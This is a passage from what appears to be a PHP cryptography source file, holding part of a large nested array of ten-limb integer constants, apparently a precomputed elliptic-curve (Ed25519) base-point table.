9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550,
2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809,
-12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293,
-2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455,
8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060,
-15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272,
6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819,
1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208,
-13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719,
1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068,
-1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041,
-7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154,
-9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575,
-11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274,
5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990,
4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367,
-13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820,
9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125,
-6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766,
6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670,
3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780,
-8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981,
-2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298,
14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269,
-2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541,
-16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138,
-13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243,
-4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552,
13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467,
-6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517,
-12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105,
11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324,
-5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704,
96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948,
12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026,
7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966,
12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450,
-8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958,
8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282,
-15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573,
-3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356,
9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746,
7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103,
-10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473,
10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692,
-13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617,
4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124,
3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575,
7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832,
-16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587,
12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038,
-13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765,
2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292,
-5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562,
-1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485,
15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008,
7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868,
14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712,
-5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679,
10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970,
1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801,
-12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020,
5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066,
-10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687,
-5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474,
12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373,
-19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189,
9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265,
13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399,
-15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287,
2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538,
-5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635,
15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867,
-12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962,
-5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340,
-12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175,
-3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557,
-9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353,
10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013,
-9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973,
-3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865,
13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016,
-9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171,
12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120,
-4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128,
-12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527,
-11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213,
-3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026,
6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705,
-5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988,
-10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752,
12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597,
12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507,
2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431,
-7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258,
2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169,
15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763,
-7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015,
-11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838,
-16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087,
-13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993,
1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511,
-7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763,
16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394,
7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192,
15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415,
-8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940,
1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368,
-1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309,
-12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918,
14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958,
13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288,
-1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047,
4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995,
728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786,
4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419,
-14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092,
-3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039,
8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227,
5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151,
-5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221,
-11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386,
-11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238,
5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024,
595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906,
1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342,
-3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788,
-4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287,
-9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063,
3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922,
6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683,
6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451,
16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065,
-5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284,
-12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918,
6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478,
-4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474,
-12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628,
8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003,
-7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999,
-3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303,
-6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955,
-10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012,
-16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003,
-11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198,
4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991,
8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015,
-2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845,
-698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815,
9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766,
-4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080,
-8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717,
-605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084,
2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144,
-1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847,
-8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286,
-7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594,
5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607,
-14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964,
7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612,
12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557,
-15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769,
-15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046,
12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151,
-13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468,
15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346,
11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720,
-4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760,
-1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549,
-14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030,
-6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983,
-10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785,
8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888,
-8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975,
-11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700,
1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089,
15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471,
7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383,
12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143,
8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172,
1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575,
708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802,
-9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358,
2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551,
13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221,
-9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537,
10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162,
-4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508,
-10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835,
-4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027,
3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811,
-13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942,
9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069,
14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062,
-16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514,
7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545,
15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642,
-8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659,
-6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187,
12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377,
9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625,
13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815,
-4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812,
15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467,
-10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693,
5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803,
7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111,
15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764,
11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085,
13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266,
-5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821,
386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627,
-5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563,
1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322,
-3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387,
-7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943,
-2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465,
4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709,
9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885,
15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282,
12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588,
-6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034,
16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598,
11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134,
7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806,
-4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976,
-779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214,
10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568,
1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455,
-9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973,
-8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373,
-8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745,
8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636,
-10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635,
-16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614,
88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032,
3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052,
5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888,
12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027,
2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555,
6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914,
-11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012,
11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820,
-13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717,
-260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086,
8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135,
14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640,
-1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359,
-10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145,
-4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809,
9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186,
-14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236,
16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227,
12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004,
10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407,
-13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149,
-9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727,
16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407,
6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569,
-4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605,
2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940,
-3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660,
-4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077,
5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621,
-743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668,
